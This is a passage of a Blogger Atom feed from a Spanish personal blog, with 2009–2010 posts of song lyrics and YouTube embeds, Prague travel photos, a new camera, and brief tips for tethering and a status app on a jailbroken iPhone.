center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/S7HoRGLzHhI/AAAAAAAAAw8/BPJh-iYu4-g/s1600/aveja.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="327" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/S7HoRGLzHhI/AAAAAAAAAw8/BPJh-iYu4-g/s400/aveja.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-949042450010132132?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/949042450010132132/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=949042450010132132&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/949042450010132132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/949042450010132132'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/03/llega-la-primavera.html' title='Llega la primavera'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lVFCOEwXZGU/S7HoRGLzHhI/AAAAAAAAAw8/BPJh-iYu4-g/s72-c/aveja.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5103952931198501030</id><published>2010-03-30T13:20:00.003+02:00</published><updated>2010-03-30T14:13:51.926+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Black Eyed Peas - Meet Me Halfway</title><content type='html'>Uff cuanto tiempo sin escribir por aquí :D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object height="295" width="480"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/aRNQS5UCQQI&amp;hl=es_ES&amp;fs=1&amp;rel=0&amp;hd=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/aRNQS5UCQQI&amp;hl=es_ES&amp;fs=1&amp;rel=0&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;I can't go any further then this&lt;br /&gt;I want you so badly, it's my biggest wish&lt;br /&gt;&lt;br /&gt;I spent my time just thinkin thinkin thinkin bout you&lt;br /&gt;Every single day yes, i'm really missin' missin' you&lt;br /&gt;And all those things we use to use to use to do&lt;br /&gt;Hey girl, wuz up, it use to be just me and you&lt;br /&gt;I spent my time just thinkin thinkin thinkin bout you&lt;br /&gt;Every single day, yes i'm really missin missin you&lt;br /&gt;And all those things we use to use to use to do&lt;br /&gt;Hey girl wuz up, wuz up, wuz up, wuz up&lt;br /&gt;&lt;br /&gt;Meet me halfway, right at the boarderline&lt;br /&gt;That's where i'm gonna wait, for you&lt;br /&gt;I'll be lookin out, night n'day&lt;br /&gt;Took my heart to the limit, and this is where i'll stay&lt;br /&gt;I can't go any further then this&lt;br /&gt;I want you so bad it's my only wish&lt;br /&gt;&lt;br /&gt;Girl,i travel round the world and even sail the seven seas&lt;br /&gt;Across the universe I go to other galexies&lt;br /&gt;Just tell me where you want, just tell me where you wanna to meet&lt;br /&gt;I navigate myself myself to take me where you be&lt;br /&gt;Cause girl I want, i, i, I want you right now&lt;br /&gt;I travel uptown (town) I travel downtown&lt;br /&gt;I wanna to have you around (round) like every single day&lt;br /&gt;I love you alway..way&lt;br /&gt;Can you meet me half way (I'll meet you halfway)&lt;br /&gt;Right at the boarderline&lt;br /&gt;That's where i'm gonna wait, for you&lt;br /&gt;I'll be lookin out, night n'day&lt;br /&gt;Took my heart to the limit, and this is where i'll stay&lt;br /&gt;I can't go any further then this&lt;br /&gt;I want you so bad it's my only wish&lt;br /&gt;I can't go any further then this&lt;br /&gt;I want you so bad it's my only wish&lt;br /&gt;&lt;br /&gt;Let's walk the bridge, to the other side&lt;br /&gt;Just you and I (just you and I)&lt;br /&gt;I will fly, i'll fly the skies, for you and I (for you and I)&lt;br /&gt;I will try, until I die, for you and i, for you and i, for for you and i,&lt;br /&gt;For for you and i, for for you and i, for you and i&lt;br /&gt;&lt;br /&gt;Can you meet me half way (yup yup)&lt;br /&gt;Can you meet me half way (yup yup)&lt;br /&gt;Can you meet me half way (yup yup)&lt;br /&gt;Can you meet me half way (yup yup)&lt;br /&gt;Meet me half way, right at the boarderline&lt;br /&gt;That's where i'm gonna wait, for you&lt;br /&gt;I'll be lookin out, night n'day&lt;br /&gt;Took my heart to the limit, and this is where i'll stay&lt;br /&gt;I can't go any further then this&lt;br /&gt;I want you so bad it's my only wish&lt;br /&gt;I can't go any further then this&lt;br /&gt;I want you so bad it's my only wish&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5103952931198501030?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5103952931198501030/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5103952931198501030&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5103952931198501030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5103952931198501030'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2010/03/black-eyed-peas-meet-me-halfway.html' title='Black Eyed Peas - Meet Me Halfway'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-4078816589534130803</id><published>2009-11-29T22:46:00.000+01:00</published><updated>2009-11-29T22:46:35.319+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Dreams. Van Halen</title><content type='html'>&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube-nocookie.com/v/ER2xkPP3yMw&amp;hl=es_ES&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube-nocookie.com/v/ER2xkPP3yMw&amp;hl=es_ES&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;World turns black and white&lt;br /&gt;Pictures in an empty room&lt;br /&gt;Your love starts fallin' down&lt;br /&gt;Better change your tune&lt;br /&gt;Yeah, you reach for the golden ring&lt;br /&gt;Reach for the sky&lt;br /&gt;Baby, just spread your wings&lt;br /&gt;&lt;br /&gt;We'll get higher and higher&lt;br /&gt;Straight up we'll climb&lt;br /&gt;We'll get higher and higher&lt;br /&gt;Leave it all behind&lt;br /&gt;&lt;br /&gt;Run, run, run away&lt;br /&gt;Like a train runnin' off the track&lt;br /&gt;Got the truth bein' left behind&lt;br /&gt;Falls between the cracks&lt;br /&gt;Standin' on broken dreams&lt;br /&gt;Never losin' sight, ah&lt;br /&gt;Well just spread your wings&lt;br /&gt;&lt;br /&gt;We'll get higher and higher&lt;br /&gt;Straight up we'll climb&lt;br /&gt;We'll get higher and higher&lt;br /&gt;Leave it all behind&lt;br /&gt;&lt;br /&gt;So baby dry your eyes&lt;br /&gt;Save all the tears you've cried&lt;br /&gt;Oh, that's what dreams are made of&lt;br /&gt;'Cause we belong in a world that must be strong&lt;br /&gt;Oh, that's what dreams are made of&lt;br /&gt;&lt;br /&gt;Yeah, we'll get higher and higher&lt;br /&gt;Straight up we'll climb&lt;br /&gt;Higher and higher&lt;br /&gt;Leave it all behind&lt;br /&gt;Oh, we'll get higher and higher&lt;br /&gt;Who knows what we'll find?&lt;br /&gt;&lt;br /&gt;So baby dry your eyes&lt;br /&gt;Save all the tears you've cried&lt;br /&gt;Oh, that's what dreams are made of&lt;br /&gt;Oh baby, we belong in a world that must be strong&lt;br /&gt;Oh, that's what dreams are made of&lt;br /&gt;&lt;br /&gt;And in the end on dreams we will depend&lt;br /&gt;'Cause that's what love is made of&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-4078816589534130803?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/4078816589534130803/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=4078816589534130803&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4078816589534130803'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4078816589534130803'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/11/dreams-van-halen.html' title='Dreams. Van Halen'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7773078182769989605</id><published>2009-11-17T23:00:00.000+01:00</published><updated>2009-11-17T23:00:28.168+01:00</updated><title type='text'>StatusNotifier para Iphone 1.3.2</title><content type='html'>Necesitamos activar el repositorio SOSiphone, una vez veamos los paquetes nuevos podemos localizar la última versión, la pantalla de configuración ahora se encuentra en ajustes!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_lVFCOEwXZGU/SwMb1gUupBI/AAAAAAAAAik/8W7dUKLK_WA/s1600/IMG_0169.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_lVFCOEwXZGU/SwMb1gUupBI/AAAAAAAAAik/8W7dUKLK_WA/s320/IMG_0169.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/SwMcQEGZZUI/AAAAAAAAAis/iLmrlYtyWKg/s1600/IMG_0170.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/SwMcQEGZZUI/AAAAAAAAAis/iLmrlYtyWKg/s320/IMG_0170.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7773078182769989605?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7773078182769989605/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7773078182769989605&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7773078182769989605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7773078182769989605'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/11/statusnotifier-para-iphone-132.html' title='StatusNotifier para Iphone 1.3.2'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_lVFCOEwXZGU/SwMb1gUupBI/AAAAAAAAAik/8W7dUKLK_WA/s72-c/IMG_0169.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7799401120934821725</id><published>2009-11-17T22:51:00.000+01:00</published><updated>2009-11-17T22:51:33.148+01:00</updated><title type='text'>Compartir Internet a través del Iphone 3G</title><content type='html'>Primero tenemos que tener un movil hailbreakeado y Cydia instalado, debemos instalar la aplicación MyWi que permite activar un hack para el tethering nativo. Tan solo debemos entrar en la RockApp y permitir que se actualice, luego lanzamos una consola y renombramos los directorios MiWi.app y RockApp.app que se encuentran en /private/var/stash/Applications/, ya no nos saldrán mas las 2 aplicaciones esas y podremos activar el tethering desde la pantalla de ajustes.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/SwMaq9AysrI/AAAAAAAAAic/KA5FDI227sc/s1600/IMG_0168.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/SwMaq9AysrI/AAAAAAAAAic/KA5FDI227sc/s320/IMG_0168.PNG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7799401120934821725?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7799401120934821725/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7799401120934821725&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7799401120934821725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7799401120934821725'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/11/compartir-internet-traves-del-iphone-3g.html' title='Compartir Internet a través del Iphone 3G'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lVFCOEwXZGU/SwMaq9AysrI/AAAAAAAAAic/KA5FDI227sc/s72-c/IMG_0168.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-2599856799881364596</id><published>2009-11-05T22:10:00.000+01:00</published><updated>2009-11-17T22:03:50.618+01:00</updated><title type='text'>Mi nuevo juguetito, Lumix DMC-TZ7</title><content type='html'>Esto se llama amor a primera vista... zoom optico x12 y una función macro que quita el hipo, en el tamaño de una compacta, como resistirse :D&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_lVFCOEwXZGU/SvXxXS0-maI/AAAAAAAAAiM/81Blk1qfBro/s1600-h/pi%C3%B1a.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_lVFCOEwXZGU/SvXxXS0-maI/AAAAAAAAAiM/81Blk1qfBro/s640/pi%C3%B1a.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-2599856799881364596?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/2599856799881364596/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=2599856799881364596&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2599856799881364596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/2599856799881364596'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/11/mi-nuevo-juguetito-lumix-dmc-tz7.html' title='Mi nuevo juguetito, Lumix DMC-TZ7'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lVFCOEwXZGU/SvXxXS0-maI/AAAAAAAAAiM/81Blk1qfBro/s72-c/pi%C3%B1a.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5575773607402425850</id><published>2009-11-04T23:29:00.000+01:00</published><updated>2009-11-04T23:29:05.464+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Moby: Extreme Ways</title><content type='html'>Cuando pasa la tormenta es hora de soltar amarras, desplegar velas y dejar que el viento nos empuje una vez más a nuevos destinos, nuevos lugares y tierras que explorar.&lt;br /&gt;&lt;br /&gt;&lt;object height="385" width="480"&gt;&lt;param name="movie" value="http://www.youtube.com/v/JXtuVCgtDSY&amp;hl=en&amp;fs=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/JXtuVCgtDSY&amp;hl=en&amp;fs=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Extreme ways are back again&lt;br /&gt;Extreme places I didn't know&lt;br /&gt;I broke everything new again&lt;br /&gt;Everything that I'd owned&lt;br /&gt;I threw it out the windows, came along&lt;br /&gt;Extreme ways I know move apart&lt;br /&gt;The colors of my sea&lt;br /&gt;Perfect color me&lt;br /&gt;&lt;br /&gt;Extreme ways that help me&lt;br /&gt;That help me out late at night&lt;br /&gt;Extreme places I had gone&lt;br /&gt;But never seen any light&lt;br /&gt;Dirty basements, dirty noise&lt;br /&gt;Dirty places coming through&lt;br /&gt;Extreme worlds alone&lt;br /&gt;Did you ever like it then&lt;br /&gt;&lt;br /&gt;I would stand in line for this&lt;br /&gt;There's always room in life for this&lt;br /&gt;&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Then it fell apart, it fell apart&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Then it fell apart, it fell apart&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Then it fell apart, it fell apart&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Like it always does, always does&lt;br /&gt;&lt;br /&gt;Extreme songs that told me&lt;br /&gt;They helped me down every night&lt;br /&gt;I didn't have much to say&lt;br /&gt;I didn't get above the light&lt;br /&gt;I closed my eyes and closed myself&lt;br /&gt;And closed my world and never opened&lt;br /&gt;Up to anything&lt;br /&gt;That could get me along&lt;br /&gt;&lt;br /&gt;I had to close down everything&lt;br /&gt;I had to close down my mind&lt;br /&gt;Too many things to cover me&lt;br /&gt;Too much can make me blind&lt;br /&gt;I've seen so much in so many places&lt;br /&gt;So many heartaches, so many faces&lt;br /&gt;So many dirty things&lt;br /&gt;You couldn't even believe&lt;br /&gt;&lt;br /&gt;I would stand in line for this&lt;br /&gt;It's always good in life for this&lt;br /&gt;&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Then it fell apart, it fell apart&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Then it fell apart, it fell apart&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Then it fell apart, it fell apart&lt;br /&gt;Oh baby, oh baby&lt;br /&gt;Like it always does, always does&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5575773607402425850?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5575773607402425850/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5575773607402425850&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5575773607402425850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5575773607402425850'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/11/moby-extreme-ways.html' title='Moby: Extreme Ways'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3928875799866899200</id><published>2009-10-25T13:21:00.001+01:00</published><updated>2009-10-25T13:22:33.836+01:00</updated><title type='text'>Cargando el avión en Praga</title><content type='html'>Así es como cargan los aviones de combustible en Praga:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_lVFCOEwXZGU/SuRCFFW1rhI/AAAAAAAAAiE/rXTlYJFT880/s1600-h/DSC06219-2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_lVFCOEwXZGU/SuRCFFW1rhI/AAAAAAAAAiE/rXTlYJFT880/s400/DSC06219-2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Medio litro de cerveza: 23 coronas = menos de un euro!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3928875799866899200?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3928875799866899200/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3928875799866899200&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3928875799866899200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3928875799866899200'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/10/cargando-el-avion-en-praga.html' title='Cargando el avión en Praga'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lVFCOEwXZGU/SuRCFFW1rhI/AAAAAAAAAiE/rXTlYJFT880/s72-c/DSC06219-2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3729190497905205280</id><published>2009-10-22T08:50:00.000+02:00</published><updated>2009-10-22T08:50:03.987+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>Perfect Sky</title><content type='html'>Maria Nayler, Perfect Sky:&lt;br /&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/KKoootviWBw&amp;hl=en&amp;fs=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/KKoootviWBw&amp;hl=en&amp;fs=1&amp;color1=0x2b405b&amp;color2=0x6b8ab6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;A moment to let go&lt;br /&gt;In a flash so much gone&lt;br /&gt;Everything I had hoped for was lost&lt;br /&gt;The world turned silent&lt;br /&gt;Beauty destroyed&lt;br /&gt;No stone unturned nowhere to go&lt;br /&gt;Perfect sky is torn by a storm&lt;br /&gt;Unpredicted to all the cold&lt;br /&gt;In the sky you’re nowhere to be found&lt;br /&gt;Here I’m standing all alone&lt;br /&gt;No one calling&lt;br /&gt;No one calling&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3729190497905205280?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3729190497905205280/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3729190497905205280&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3729190497905205280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3729190497905205280'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/10/perfect-sky.html' title='Perfect Sky'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7538526084255957870</id><published>2009-10-20T22:12:00.000+02:00</published><updated>2009-10-20T22:12:27.699+02:00</updated><title type='text'>PCI Praga 2009</title><content type='html'>Praga nocturno&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_lVFCOEwXZGU/St4ZDHZbTrI/AAAAAAAAAh8/1VZFDPSLaN0/s1600-h/praga-noche2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_lVFCOEwXZGU/St4ZDHZbTrI/AAAAAAAAAh8/1VZFDPSLaN0/s640/praga-noche2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_lVFCOEwXZGU/St4YhfdSeUI/AAAAAAAAAh0/Koy7Y_BcAFw/s1600-h/praga-noche.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_lVFCOEwXZGU/St4YhfdSeUI/AAAAAAAAAh0/Koy7Y_BcAFw/s640/praga-noche.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7538526084255957870?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7538526084255957870/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7538526084255957870&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7538526084255957870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7538526084255957870'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2009/10/pci-praga-2009.html' title='PCI Praga 2009'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lVFCOEwXZGU/St4ZDHZbTrI/AAAAAAAAAh8/1VZFDPSLaN0/s72-c/praga-noche2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5026065775164675754</id><published>2009-07-12T22:31:00.003+02:00</published><updated>2009-07-12T22:40:41.725+02:00</updated><title type='text'>Un pensamiento</title><content type='html'>Un lugar, un momento, una canción y una estrella con la que poderte guiar... a veces todo se une y allí está la magia:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lVFCOEwXZGU/SlpI89cNv5I/AAAAAAAAAhU/YEc77_D9np0/s1600-h/stellarium-000.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 320px;" 